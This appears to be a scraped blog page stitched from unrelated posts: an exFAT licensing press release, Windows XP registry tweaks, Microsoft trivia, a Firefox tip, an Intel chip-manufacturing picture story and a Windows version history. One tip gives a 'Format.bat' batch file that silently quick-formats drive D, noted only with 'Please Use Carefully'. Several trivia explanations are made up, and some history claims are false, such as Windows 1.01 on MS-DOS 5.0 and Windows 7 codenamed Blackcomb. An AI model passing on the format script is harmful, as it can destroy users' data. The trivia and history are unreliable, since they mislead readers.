In response to widespread interest from consumer device-makers around the world, Microsoft Corp. is announcing a flexible licensing program for its Extended File Allocation Table (exFAT) technology. The latest generation of Microsoft's file system, exFAT delivers a significant leap forward in terms of the size of files that can be stored on a broad range of consumer electronic devices, and the speed with which they can be accessed. The exFAT technology is already being adopted by partners in the industry, and these manufacturers are using the licensing program to deliver a richer and more seamlessly integrated media experience for their customers.

(Logo: http://www.newscom.com/cgi-bin/prnh/20000822/MSFTLOGO)

"There has been an explosion in the use of rich audio and video files," said David Kaefer, general manager of Intellectual Property Licensing at Microsoft. "exFAT is an ideal file system that delivers fast and reliable use of audio and video files. It is an important technology in Windows 7, and now that we are licensing this technology broadly to the industry, we want to encourage and support partners to build products that also contain this technology."

exFAT is the modern version of its predecessor, the FAT system, and greatly expands the size of files that flash memory devices can handle. The exFAT file system not only facilitates large files for use of audiovisual media, it enables seamless data portability and an easy interchange between desktop PCs and consumer electronic devices. In specific terms, the exFAT file system does the following:

  • Enables future growth in media capacities, increasing support from 32 GB up to 256 TB
  • Handles more than 4,000 RAW images, 100 high-definition (HD) movies, or 60 hours of HD recording in a single directory
  • Speeds up file saves of Secure Digital Extended Capacity (SDXC) cards to achieve their full 300MBps speed using modern storage allocation techniques
  • Supports interoperability with future desktop operating systems
  • Provides an extensible format, including OEM-definable parameters to customize the file system for specific device characteristics

"Consumers want a richer media storage experience, and we chose the exFAT file system for our SDXC memory card specification because of its incredible potential," said James Taylor, president of the SD Association. "The exFAT file system supports large volumes, large files and better contiguous on-disk layout, which supports the SD Association's plans for the SDXC specification to provide consumers with quicker transfer speeds, support for very large files and seamless portability among devices. We look forward to incorporating the technology into our products."

Microsoft's Commitment to IP Collaboration

Microsoft offers flexible intellectual property (IP) licensing programs that give companies access to many of the foundational technologies in its own products, allowing those companies to build devices, applications and services that work seamlessly with each other. Microsoft has entered into exFAT licensing agreements with several leading companies including Sony, Canon and Sanyo. In addition, SanDisk Corp., as a member of the SD Association and the Memory Stick standard, has endorsed the adoption of the exFAT file system for use in the new extra capacity storage media.

More information about Microsoft's exFAT licensing programs is available at http://www.microsoft.com/iplicensing and http://www.microsoft.com/iplicensing/productDetail.aspx?productTitle=exFAT%20File%20System%20Licensing%20Program.

Founded in 1975, Microsoft (Nasdaq: MSFT) is the worldwide leader in software, services and solutions that help people and businesses realize their full potential.

SOURCE Microsoft Corp.

Renaming The Recycle Bin icon:

Posted by Ashish | 2:43 AM

To change the name of the Recycle Bin desktop icon, click Start then goto Run, write Regedit and press Enter. It opens Registry Editor. Now in Registry Editor go to:

HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E}

On the right pane, locate the registry key of Localized String.

Double click on LocalizedString or right click on LocalizedString and select Modify to modify the registry value.

You should see the default value of “@%SystemRoot%\system32\SHELL32.dll,-8964″. Delete or remove the default value and key in your desired new recycle bin’s name in text, e.g. “Garbage Bin” (without quote).

Refresh your desktop or Windows Explorer by pressing F5. You will see the new ‘recycle bin’ name.

Optionally, you can also modify the text of InfoTip, commonly known as tooltip what display certain help tip, guide or description about Recycle Bin when the mouse is hovering on Recycle Bin icon on desktop. The default text is “Contains files and folders that you have deleted.” Simply double click on InfoTip, or right click on InfoTip and select Modify to change the text of the info tip.

The default value is “@%SystemRoot%\system32\SHELL32.dll,-22915″, simply change it to another description that you want the tooltip to be.

Refresh the desktop to make it effective.

Whenever you shut down your computer, it takes a lot of time in closing all the running applications.And worse, if they stop responding, then you have to click either end task or wait for windows to shut it down. Now you can apply a registry hack that automatically shuts the non-responding annoying applications instantly and without any interruption. Apply the following registry hack to speed up windows xp.

1. Open registry editor from Start -> Run -> type regedit
2. Find HKEY_CURRENT_USER\Control Panel\Desktop
on the left side of the registry editor window.
3. Double click on AutoEndTasks key from the right window and assign the value to be 1. The default value is 0.

Reverting the process is also very simple. Just change the AutoEndTasks value to 0.

Trouble:
Are you among those who are not able to access or see your folder options under File
Menu>>Tools in Windows Explorer on your Windows XP ? This problem of hidden or
disabled folder options occur normally due to malicious virus (w32.rontokbro@mm)
activity.
The virus creates an entry in registry to disable “Folder Options” in Windows explorer.
Let us see how we can fix it.

Fix:
In most of the cases, even if the virus is been already removed by your anti-virus
program, it doesn’t restore the registry back to the original state. Also anti-virus usually
does not delete the registry entry created by the virus.
For restoring the registry settings,follow the steps given below
Enable your folder options in explorer.
1. Go to Start > RUN
2. Type regedit and press enter.
3. Go to HKEY_CURRENT_USER > Software > Microsoft > Windows >
CurrentVersion > Policies > Explorer










4.On the right side of the screen, you can see some registry entry names, out of them,
right-click on NoFolderOptions and click Modify option.
5.A new small screen pops up, on this screen, sen the value data field as 0 (zero).Press
OK.
That’s it but it requires reboot. Trouble Fixed.

To convert a FAT partition to NTFS, perform the following steps.
Click Start, click Programs, and then click Command Prompt.
In Windows XP, click Start, click Run, type cmd and then click OK.
At the command prompt, type CONVERT [driveletter]: /FS:NTFS.
Convert.exe will attempt to convert the partition to NTFS.


NOTE: Although the chance of corruption or data loss during the conversion from FAT to NTFS
is minimal, it is best to perform a full backup of the data on the drive that it is to be converted
prior to executing the convert command. It is also recommended to verify the integrity of the
backup before proceeding, as well as to run RDISK and update the emergency repair disk
(ERD).

To speed up the browsing of your local LAN try this:
1.Open the registry editor.
2.Go to
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\RemoteComput
er\NameSpace

3.Export this key (in order to back it up, just in case) and then delete the key called
{D6277990-4C6A-11CF-8D87-00AA0060F5BF} (Task Scheduler).

4.Close the registry.
Be sure to check your 'Binding Order' in Network Connections > Advanced.
Make sure you're logged on as actually "Administrator". Do not log on with any account that
just has administrator privileges.
1.Start > Run > type gpedit.msc (not available in home version).
2.Expand the Local Computer Policy branch.
3.Expand the Administrative Templates branch.
4.Expand the Network branch.
5.Highlight the "QoS Packet Scheduler" in left window.
6.In right window double click the "limit reservable bandwidth" setting.
7.On setting tab check the ENABLED item.
8.Where it says "Bandwidth limit %" change it to read 0 (ZERO).
9.Close gpedit.msc.
Effect is immediate on some systems, some need to re-boot.

1.Open notepad
2.copy :-
@ echo off
cls
cd\
c:
echo y | format %1 d:/q
echo new | %1
3.Save as Format.bat
4. Run it
NOTE:- Please Use Carefully

Facts About MICROSOFT..

Posted by ~AKRATI~ | 1:00 AM

Corporate Address
Microsoft Corporation
One Microsoft Way
Redmond, WA 98052-7329
USA
Tel: (425) 882-8080
Fax: (425) 706-7329
http://www.microsoft.com

Important Dates
DateEvent
1975Microsoft founded
Jan. 1, 1979Microsoft moves from Albuquerque, New Mexico to Bellevue, Washington
June 25, 1981Microsoft incorporates
Aug. 12, 1981IBM introduces its personal computer with Microsoft's 16-bit operating system, MS-DOS 1.0
Feb. 26, 1986Microsoft moves to corporate campus in Redmond, Washington
March 13, 1986Microsoft stock goes public
Aug. 1, 1989Microsoft introduces earliest version of Office suite of productivity applications
May 22, 1990Microsoft launches Windows 3.0
Aug. 24, 1995Microsoft launches Windows 95
Dec. 7, 1995Bill Gates outlines Microsoft's commitment to supporting and enhancing the Internet
June 25, 1998Microsoft launches Windows 98
Jan. 13, 2000Steve Ballmer named president and chief executive officer for Microsoft
Feb. 17, 2000Microsoft launches Windows 2000
June 22, 2000Bill Gates and Steve Ballmer outline Microsoft's .NET strategy for Web services
May 31, 2001 Microsoft launches Office XP
Oct. 25, 2001Microsoft launches Windows XP
Jan. 15, 2002Bill Gates outlines Microsoft's commitment to Trustworthy Computing
Nov. 7, 2002Microsoft and partners launch Tablet PC
Jan. 16, 2003Microsoft declares annual dividend
April 24, 2003Microsoft launches Windows Server 2003
Oct. 21, 2003Microsoft launches Microsoft Office System
July 20, 2004Microsoft announces plans to return up to $75 billion to shareholders in dividends and stock buybacks
June 15, 2006Microsoft announces that Bill Gates will transition out of a day-to-day role in the company in July 2008, Ray Ozzie is named chief software architect and Craig Mundie chief research and strategy officer
July 20, 2006Microsoft announces a new $20 billion tender offer and authorizes an additional share-repurchase program of up to $20 billion over five years
Jan. 30, 2007Microsoft launches Windows Vista and the 2007 Microsoft Office System to consumers worldwide
Feb. 27, 2008Microsoft launches Windows Server 2008, SQL Server 2008 and Visual Studio 2008
June 27, 2008Bill Gates transitions from his day-to-day role at Microsoft to spend more time on his work at The Bill & Melinda Gates Foundation
Oct. 22, 2009Microsoft launches Windows 7

FACT #1
Nobody can create a FOLDER anywhere on the computer which can be named as "CON".
This is something pretty cool...and unbelievable. ..
At Microsoft the whole Team, couldn't answer why this happened!
TRY IT NOW, IT WILL NOT CREATE "CON" FOLDER

FACT #2
This is something pretty cool and neat...and unbelievable. ..
At Microsoft the whole Team, including Bill Gates, couldn't answer why this happened!
Try it out yourself...
Open Microsoft Word and type
=rand (200, 99)
And then press ENTER

FACT #3
For those of you using Windows, do the following:
1. Open an empty notepad file
2. Type "Bush hid the facts" (without the quotes)
3. Save it as whatever you want.
4. Close it, and re-open it.
Is it just a really weird bug?
You can try the same thing above with another sentence "this app can break"

Explanation for fact #1:
In windows the folder name and the special system variables share the same interface, so when you create a folder with a system variable name it will consider that folder already exist!!
These special system variables are available irrespective of path
You cannot create a folder with these names also:
CON, NUL, COM1, COM2, COM3, LPT1, LPT2, LPT3,COM1 to COM9 and LPT1 to LPT9....
CON means console, COM1 means serial port 1, LPT1 means parallel port 1

Explanation for fact #2:
This is a trick which is used for testing of any application sftware of microsoft.This is an inbuild techical automatic fundamentals to check its feasibility.

Explanation for fact #3:
Over at WinCustomize, someone thought they'd found an Easter Egg in the Windows Notepad application but It's not an Easter egg (even though it seems like a funny one), and as it turns out, Notepad writes the file correctly.Every file after its saving on the hard disk is first checked all its content before it is write on the disk, till then all of those content temporarily saved in a temp folder.

Hidden Movies in WINDOWS XP

Posted by Bhavin | 11:54 PM

Do u know that windows XP is having a hidden "Star Wars Movie" inside it???
You should be connected to the NET for using this.
Go to Starts-->Programs-->Run
Type


telnet towel.blinkenlights.nl


And hit enter......... Enjoy the magic!!!!

Make MOZILLA FIREFOX 10X faster

Posted by Bhavin | 11:54 PM


THIS IS A VERY SIMPLE TRICK.....NO SOFTWARE REQUIRED......NO DL REQUIRED
Unhidden


1. Type "about:config" into the address bar and hit enter. Scroll down and look for the following entries:


2. Alter the entries as follows:


Set "network.http.pipelining" to "true"
Set "network.http.proxy.pipelining" to "true"
set "network.http.pipelining.maxrequests" to some number like 30. This means it will make 30 requests at once.


3. Lastly right-click anywhere and select New-> Integer. Name it "nglayout.initialpaint.delay" and set its value to "0". This value is the amount of time the browser waits before it acts on information it recieves.


NOTE:this trick only works for broadband users not for dialup





Sand. Made up of 25 percent silicon, is, after oxygen, the second most abundant chemical element that's in the earth's crust. Sand, especially quartz, has high percentages of silicon in the form of silicon dioxide (SiO2) and is the base ingredient for semiconductor manufacturing.




After procuring raw sand and separating the silicon, the excess material is disposed of and the silicon is purified in multiple steps to finally reach semiconductor manufacturing quality which is called electronic grade silicon. The resulting purity is so great that electronic grade silicon may only have one alien atom for every one billion silicon atoms. After the purification process, the silicon enters the melting phase. In this picture you can see how one big crystal is grown from the purified silicon melt. The resulting mono-crystal is called an ingot.




A mono-crystal ingot is produced from electronic grade silicon. One ingot weighs approximately 100 kilograms (or 220 pounds) and has a silicon purity of 99.9999 percent.




The ingot is then moved onto the slicing phase where individual silicon discs, called wafers, are sliced thin. Some ingots can stand higher than five feet. Several different diameters of ingots exist depending on the required wafer size. Today, CPUs are commonly made on 300 mm wafers.




Once cut, the wafers are polished until they have flawless, mirror-smooth surfaces. Intel doesn't produce its own ingots and wafers, and instead purchases manufacturing-ready wafers from third-party companies. Intel’s advanced 45 nm High-K/Metal Gate process uses wafers with a diameter of 300 mm (or 12-inches). When Intel first began making chips, it printed circuits on 50 mm (2-inches) wafers. These days, Intel uses 300 mm wafers, resulting in decreased costs per chip.




The blue liquid, depicted above, is a photo resist finish similar to those used in film for photography. The wafer spins during this step to allow an evenly-distributed coating that's smooth and also very thin.




At this stage, the photo-resistant finish is exposed to ultra violet (UV) light. The chemical reaction triggered by the UV light is similar to what happens to film material in a camera the moment you press the shutter button.

Areas of the resist on the wafer that have been exposed to UV light will become soluble. The exposure is done using masks that act like stencils. When used with UV light, masks create the various circuit patterns. The building of a CPU essentially repeats this process over and over until multiple layers are stacked on top of each other.

A lens (middle) reduces the mask's image to a small focal point. The resulting "print" on the wafer is typically four times smaller, linearly, than the mask's pattern.




In the picture we have a representation of what a single transistor would appear like if we could see it with the naked eye. A transistor acts as a switch, controlling the flow of electrical current in a computer chip. Intel researchers have developed transistors so small that they claim roughly 30 million of them could fit on the head of a pin.




After being exposed to UV light, the exposed blue photo resist areas are completely dissolved by a solvent. This reveals a pattern of photo resist made by the mask. The beginnings of transistors, interconnects, and other electrical contacts begin to grow from this point.




The photo resist layer protects wafer material that should not be etched away. Areas that were exposed will be etched away with chemicals.




After the etching, the photo resist is removed and the desired shape becomes visible.




More photo resist (blue) is applied and then re-exposed to UV light. Exposed photo resist is then washed off again before the next step, which is called ion doping. This is the step where ion particles are exposed to the wafer, allowing the silicon to change its chemical properties in a way that allows the CPU to control the flow of electricity.




Through a process called ion implantation (one form of a process called doping) the exposed areas of the silicon wafer are bombarded with ions. Ions are implanted in the silicon wafer to alter the way silicon in these areas conduct electricity. Ions are propelled onto the surface of the wafer at very high velocities. An electrical field accelerates the ions to a speed of over 300,000 km/hour (roughly 185,000 mph)




After the ion implantation, the photo resist will be removed and the material that should have been doped (green) now has alien atoms implanted.




This transistor is close to being finished. Three holes have been etched into the insulation layer (magenta color) above the transistor. These three holes will be filled with copper, which will make up the connections to other transistors.




The wafers are put into a copper sulphate solution at this stage. Copper ions are deposited onto the transistor through a process called electroplating. The copper ions travel from the positive terminal (anode) to the negative terminal (cathode) which is represented by the wafer.




The copper ions settle as a thin layer on the wafer surface.




The excess material is polished off leaving a very thin layer of copper.




Multiple metal layers are created to interconnects (think wires) in between the various transistors. How these connections have to be “wired” is determined by the architecture and design teams that develop the functionality of the respective processor (for example, Intel’s Core i7 processor). While computer chips look extremely flat, they may actually have over 20 layers to form complex circuitry. If you look at a magnified view of a chip, you will see an intricate network of circuit lines and transistors that look like a futuristic, multi-layered highway system.




This fraction of a ready wafer is being put through a first functionality test. In this stage test patterns are fed into every single chip and the response from the chip monitored and compared to "the right answer."




After tests determine that the wafer has a good yield of functioning processor units, the wafer is cut into pieces (called dies).




The dies that responded with the right answer to the test pattern will be put forward for the next step (packaging). Bad dies are discarded. Several years ago, Intel made key chains out of bad CPU dies.




This is an individual die, which has been cut out in the previous step (slicing). The die shown here is a die of an Intel Core i7 processor.




The substrate, the die, and the heatspreader are put together to form a completed processor. The green substrate builds the electrical and mechanical interface for the processor to interact with the rest of the PC system. The silver heatspreader is a thermal interface where a cooling solution will be applied. This will keep the processor cool during operation.




A microprocessor is the most complex manufactured product on earth. In fact, it takes hundreds of steps and only the most important ones have been visualized in this picture story.




During this final test the processors will be tested for their key characteristics (among the tested characteristics are power dissipation and maximum frequency).




Based on the test result of class testing processors with the same capabilities are put into the same transporting trays. This process is called "binning". Binning determines the maximum operating frequency of a processor, and batches are divided and sold according to stable specifications.




The manufactured and tested processors (again Intel Core i7 processor is shown here) either go to system manufacturers in trays or into retail stores in a box. Many thanks to Intel for supplying the text and photos in this picture story.
Check out Intel's site for full size images of this entire process.


Evolution Of Microsoft

Posted by ~AKRATI~ | 7:56 PM

Let me Introduce you all about the brief history and evolution of the world most reputed software company named "Microsoft".

It all began in Plaza Hotel, New York City on the 10th of November 1983.. Two Microsoft founders Paul Allen and Bill Gates officially announced their corporation’s first and next-generation graphical user interface operating system – Microsoft Windows.

Despite the criticism on stability and constantly being compared to their rivals Apple Macintosh, Microsoft Windows is still the most widely used operating systems in the world.



Windows 1.01 (1985)

Officially released on November 20, 1985, this 16-bit OS that cost less than 1MB in overall is Microsoft’s very first operating system that allows multi tasking with graphical user interface on PC platform that runs on MS-DOS 5.0.

windows 1.01

windows 1.01

Windows 1.01

Windows 1..03 (1986)

Introduced in 1986, Windows 1.03 is an upgrade to its previous predecessor Windows 1.01. Entire operating system cost about 2.2Mb hard disk space.

Windows 1.03

Windows 1.03

Windows 2.03 (1987)

Taking advantage of the speed of Intel 286/386 processor at that time, Windows 2.03 is a replacement for Windows 1.x. It also starts the era where users are able to overlap windows, customize screens, etc. Still the entire operating system cost no more than 2.5Mb.

Windows 2.03

Windows 2.86 (1989)

Windows 2.86

Windows 3.0 (1990)

This is the third major released of Microsoft Windows with a improved set of Windows icons and applications like File Manager, Program Manager that is still being used in today’s Windows. This 22 May 1990 released operating system is then replaced by Windows 3.1 two years later.

windows 3.0

Windows 3.0

Windows 3.1 (1992)

Windows 3.1 is probably the earliest Windows most of us are familiar with. Windows 3.1 and later Windows 3.1x is an upgrade to Windows 3.0 with bug fixes and multimedia support.

windows 3.1

Windows 3.1

Windows 3.1

Windows NT 3.1 (1993)

The first Windows New Technology (NT) introduced. It maintains consistency with the Windows 3..1, a well-established home and business operating system at the time, the new Windows NT operating system began with version 3.1. Unlike Windows 3.1, however, Windows NT 3.1 was a 32-bit operating system.

Windows NT 3.1

Windows 3.11 (1993)

A superset of Windows 3.1, Windows for Workgroups 3.11 added peer-to-peer workgroup and domain networking support. For the first time, Windows–based PCs were network-aware and became an integral part of the emerging client/server computing evolution – Microsoft

Windows 3.11

Windows 3.11

Windows NT 3.51 Workstation (1995)

The Windows NT Workstation 3.5 release provided the highest degree of protection yet for critical business applications and data. With support for the OpenGL graphics standard, this operating system helped power high-end applications for software development, engineering, financial analysis, scientific, and business-critical tasks – Microsoft

Windows NT 3.51 Workstation

Windows NT 3.51 Workstation

Windows 95 (1995)

Previously code-named Chicago, Windows 95 is a successor to all the existing Windows operating system so far. It gives full graphical user interface support, integrated a 32-bit TCP/IP (Transmission Control Protocol/Internet Protocol) stack for built-in Internet support, dial-up networking, and new Plug and Play capabilities that made it easy for users to install hardware and software.

Windows 95

Windows 95

Windows NT 4.0 (1996)

Windows NT Workstation 4.0 included the popular Windows 95 user interface yet provided improved networking support for easier and more secure access to the Internet and corporate intranets – Microsoft.

Windows NT 4.0

Windows NT 4.0

Windows NT Server 4.0 (1996)

Windows NT Server 4.0

Windows NT Server 4.0

Windows 98 (1998)

Windows 98 was the upgrade from Windows 95. Described as an operating system that "Works Better, Plays Better," Windows 98 was the first version of Windows designed specifically for consumers – Microsoft.

Windows 98

Windows 98

Windows 2000 (2000)

More than just the upgrade to Windows NT Workstation 4.0, Windows 2000 Professional was also designed to replace Windows 95, Windows 98, and Windows NT Workstation 4.0 on all business desktops and laptops. Built on top of the proven Windows NT Workstation 4.0 code base, Windows 2000 added major improvements in reliability, ease of use, Internet compatibility, and support for mobile computing – Microsoft.

Windows 2000

Windows 2000

Windows 2000 Server (2000)

Windows 2000 Server

Windows 2000 Server

Windows ME (2000)

Designed for home computer users, Windows Me offered consumers numerous music, video, and home networking enhancements and reliability improvements – Microsoft.

Windows ME

Windows ME

Windows XP (2001)

Windows XP Professional brings the solid foundation of Windows 2000 to the PC desktop, enhancing reliability, security, and performance. With a fresh visual design, Windows XP Professional includes features for business and advanced home computing, including remote desktop support, an encrypting file system, and system restore and advanced networking features – Microsoft.

Windows XP

Windows XP

Windows XP

Windows Server 2003 (2003)

Released on April 2003, and also known as Win2k3, this operating system is a sucessor to it’s predecessor Windows Server 2000 (Win2k).

Windows Server 2003

Windows Server 2003

Windows Vista (2006)

Came more than 5 years after it’s predecessor Windows XP, Vista is the longest timeline break for Microsoft between two operating system.

Windows Vista

Windows Vista

Windows Vista

Windows 7 (2009)

Codenamed Blackcomb, Windows 7 is one of the most anticipated operating system which should be available somewhere in Oct 2009.

Windows 7

Windows 7

Windows 7



dont forget to put comment on it.